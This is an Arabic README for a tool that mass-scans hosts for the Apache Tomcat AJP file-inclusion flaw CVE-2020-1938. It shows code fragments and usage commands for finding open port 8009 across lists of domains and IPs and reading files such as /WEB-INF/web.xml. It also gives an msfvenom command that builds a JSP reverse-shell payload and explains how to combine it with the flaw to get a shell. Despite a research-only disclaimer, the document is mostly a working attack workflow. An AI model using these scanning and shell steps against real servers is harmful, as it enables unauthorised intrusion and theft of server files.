
CVE-2020-1938 / CNVD-2020-1048 أدوات الكشف
الأداة مخصصة للبحث الأمني والفحص الداخلي فقط، ويُمنع استخدامها لشن هجمات غير قانونية، والعواقب تقع على عاتق المستخدم.
أداة فحص جماعي لثغرة تضمين الملفات في Apache Tomcat (CVE-2020-1938 / CNVD-2020-1048).
هذا المشروع مستند إلى تعديلات على مشروع Kit4y.
عندما يحتوي ملف ip.txt على نطاق واحد أو عنوان IP واحد فقط، يصبح threadCount = 1، ولا يعمل البرنامج فعليًا. تمت إضافة كود للتحقق من عدد الخيوط.
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. ضع النطاقات/عناوين IP المراد فحصها في ملف ip.txt، مثل:
127.0.0.1
www.baidu.com
www.google.com
2. python threading-find-port-8009.py
يقوم بفحص النطاقات/عناوين IP في ip.txt للعثور على المنافذ المفتوحة 8009، ويحفظ النتائج في ملف 8009.txt الذي يتم إنشاؤه.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
يقوم بتصفية عناوين URL المتوافقة مع الثغرة من 8009.txt ويضعها في vul.txt. في النهاية، النطاقات الموجودة في vul.txt هي النطاقات التي تحتوي على الثغرة.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
يقرأ افتراضيًا مجلد ROOT داخل webapps. يمكن الوصول إلى محتويات مجلد test داخل webapps عن طريق تغيير '/asdf' إلى '/test/asdf'.
t.perform_request('/asdf',attributes=[
إذا كان الخادم يعاني أيضًا من ثغرة رفع ملفات، فقم بتحميل shell.txt التالي:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
قم بتغيير '/asdf' إلى '/asdf.jsp'، ثم بعد تشغيل MSF يمكن استخدام أداة PoC للحصول على شل.